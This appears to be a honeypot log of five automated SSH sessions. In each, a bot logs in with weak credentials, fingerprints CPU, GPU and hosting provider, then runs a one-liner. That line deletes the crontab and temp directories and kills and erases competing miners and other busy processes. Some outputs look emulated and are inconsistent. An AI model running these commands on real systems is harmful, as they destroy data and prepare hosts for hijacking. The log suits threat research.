{"id":"c8b4e973-a343-47b4-8ab7-0698f1f0ea4e","name":"arctic-marbled-tapir","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":47508,"username":"student","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":311,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:01:12.894389+00:00","ended_at":"2026-08-27T02:01:21.027884+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-27T02:00:16.399755+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:00:19.759396+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:00:20.493598+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:00:24.383892+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:00:24.700418+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:00:28.487321+00:00","kind":"output","latency_ms":null,"data":"6 days, 22:50"},{"seq":7,"at":"2026-08-27T02:00:28.692425+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:00:32.062786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:00:32.374405+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:00:34.973227+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:00:35.704401+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:00:41.034388+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:00:41.202093+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:00:44.761025+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:00:45.028594+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:00:50.694853+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:00:50.956685+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:00:54.793198+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:00:55.144779+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:00:59.365174+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:00:59.656429+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:01:03.137052+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:01:03.304522+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:01:09.197002+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-27T02:01:09.530415+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-27T02:01:12.894889+00:00","kind":"input","latency_ms":null,"data":"echo redhat > /tmp/d.log"}],"credentials":[{"username":"student","password":"redhat","method":"password","accepted":true,"tier":"other"}]}
{"id":"a2714e3e-9b32-4db6-a58a-b0d518f20498","name":"inland-jagged-raven","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":59512,"username":"student","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":557,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T12:29:27.160926+00:00","ended_at":"2026-08-26T12:29:34.926662+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-26T12:28:17.650075+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T12:28:23.218229+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T12:28:23.764411+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T12:28:28.231421+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T12:28:28.566997+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T12:28:32.377692+00:00","kind":"output","latency_ms":null,"data":"6 days,  9:18"},{"seq":7,"at":"2026-08-26T12:28:33.059289+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T12:28:38.780544+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T12:28:39.335915+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T12:28:44.073625+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T12:28:45.291816+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T12:28:48.044947+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T12:28:48.549254+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T12:28:52.868741+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T12:28:54.136256+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T12:28:59.336445+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T12:28:59.693079+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T12:29:04.902248+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T12:29:05.459320+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T12:29:09.802356+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T12:29:10.227011+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T12:29:15.427471+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T12:29:16.165541+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T12:29:21.173463+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T12:29:22.326417+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T12:29:27.161682+00:00","kind":"input","latency_ms":null,"data":"echo redhat > /tmp/d.log"}],"credentials":[{"username":"student","password":"redhat","method":"password","accepted":true,"tier":"other"}]}
{"id":"1d430500-5d8d-4be5-b3c8-06575749b9b9","name":"restless-velvet-hornbill","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":35242,"username":"student","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":343,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T08:59:07.530287+00:00","ended_at":"2026-08-24T08:59:13.785183+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-24T08:58:11.109268+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T08:58:14.320131+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T08:58:14.512750+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T08:58:19.779819+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T08:58:20.012524+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T08:58:24.524678+00:00","kind":"output","latency_ms":null,"data":"4 days,  5:48"},{"seq":7,"at":"2026-08-24T08:58:24.709779+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T08:58:27.877073+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T08:58:28.100245+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T08:58:32.290423+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T08:58:32.634162+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T08:58:36.734676+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T08:58:37.399267+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-24T08:58:41.395002+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T08:58:41.604819+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T08:58:46.469731+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T08:58:46.853814+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T08:58:49.573647+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T08:58:49.918749+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T08:58:53.548890+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T08:58:53.995093+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T08:58:57.331798+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T08:58:57.737741+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T08:59:03.242146+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-24T08:59:03.511624+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-24T08:59:07.531033+00:00","kind":"input","latency_ms":null,"data":"echo redhat > /tmp/d.log"}],"credentials":[{"username":"student","password":"redhat","method":"password","accepted":true,"tier":"other"}]}
{"id":"cdceaf19-c14b-4232-86cd-f1e8b6bd04cb","name":"foggy-freckled-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.42.147","src_port":44968,"username":"redhat","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-21T13:00:09.433336+00:00","ended_at":"2026-08-21T13:00:18.304887+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1658,"events":[{"seq":1,"at":"2026-08-21T12:59:11.914056+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T12:59:14.511590+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-21T12:59:14.979520+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-21T12:59:17.892177+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-21T12:59:18.112329+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-21T12:59:24.081279+00:00","kind":"output","latency_ms":null,"data":"1 day,  9:49"},{"seq":7,"at":"2026-08-21T12:59:24.584889+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-21T12:59:30.163591+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-21T12:59:30.420205+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-21T12:59:33.350487+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-21T12:59:33.566697+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-21T12:59:38.482785+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-21T12:59:38.748586+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-21T12:59:44.205118+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-21T12:59:44.385654+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-21T12:59:47.328522+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-21T12:59:47.696900+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-21T12:59:52.177696+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-21T12:59:52.411479+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-21T12:59:56.608845+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-21T12:59:57.063166+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-21T12:59:59.985641+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-21T13:00:00.336147+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-21T13:00:04.133594+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-21T13:00:04.320964+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-21T13:00:09.433833+00:00","kind":"input","latency_ms":null,"data":"echo redhat > /tmp/d.log"}],"credentials":[{"username":"redhat","password":"redhat","method":"password","accepted":true,"tier":"other"}]}
{"id":"a5b6b4e1-5f7f-4662-af47-f987a38d630f","name":"northern-silent-fieldfare","protocol":"ssh","channel_kind":"exec","src_ip":"45.156.87.93","src_port":41318,"username":"redhat","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":207,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T18:57:55.476511+00:00","ended_at":"2026-08-20T18:58:01.287418+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1651,"events":[{"seq":1,"at":"2026-08-20T18:56:59.693178+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T18:57:04.642140+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T18:57:04.850438+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T18:57:08.140653+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-20T18:57:08.354504+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T18:57:11.490071+00:00","kind":"output","latency_ms":null,"data":"15:47"},{"seq":7,"at":"2026-08-20T18:57:11.697543+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T18:57:15.632231+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-20T18:57:15.814047+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T18:57:19.417900+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-20T18:57:19.592113+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T18:57:22.167229+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T18:57:22.450593+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T18:57:27.468552+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-20T18:57:27.819591+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T18:57:31.379447+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-20T18:57:31.566188+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T18:57:36.085211+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-20T18:57:36.351320+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T18:57:41.898216+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-20T18:57:42.092926+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T18:57:46.289303+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-20T18:57:46.479459+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T18:57:51.203333+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T18:57:51.383893+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T18:57:55.477188+00:00","kind":"input","latency_ms":null,"data":"echo redhat > /tmp/d.log"}],"credentials":[{"username":"redhat","password":"redhat","method":"password","accepted":true,"tier":"other"}]}
